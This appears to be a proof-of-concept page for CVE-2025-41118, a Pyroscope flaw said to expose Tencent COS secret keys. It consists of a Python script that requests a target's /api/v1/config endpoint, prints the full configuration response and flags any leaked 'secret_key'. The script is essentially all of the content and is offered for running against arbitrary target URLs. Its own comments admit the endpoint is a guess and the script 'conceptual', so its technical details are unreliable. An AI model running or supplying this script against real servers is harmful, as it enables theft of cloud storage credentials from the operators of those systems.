CVE-2025-41118 Pyroscope 腾讯云密钥泄露漏洞

import requests import sys # PoC for CVE-2025-41118: Pyroscope Tencent COS Secret Key Disclosure # This script attempts to retrieve the secret_key from a vulnerable Pyroscope instance. def check_vulnerability(target_url): # The specific endpoint might vary based on configuration, # often exposed via API configuration or debug endpoints. # This is a conceptual PoC based on the vulnerability description. api_endpoint = f"{target_url.rstrip('/')}/api/v1/config" try: response = requests.get(api_endpoint, timeout=10) if response.status_code == 200: data = response.json() # Check if storage configuration contains Tencent COS keys if 'storage' in data or 'tencent' in str(data).lower(): print(f"[+] Potential configuration exposed at {api_endpoint}") print(f"[+] Response Data: {data}") # Attempt to find secret_key pattern (heuristic) if 'secret_key' in str(data): print("[!!] CRITICAL: secret_key potentially leaked!") return True else: print(f"[-] Endpoint returned status code: {response.status_code}") except Exception as e: print(f"[-] Error connecting to target: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python poc.py <http://target-pyroscope-url>") else: check_vulnerability(sys.argv[1])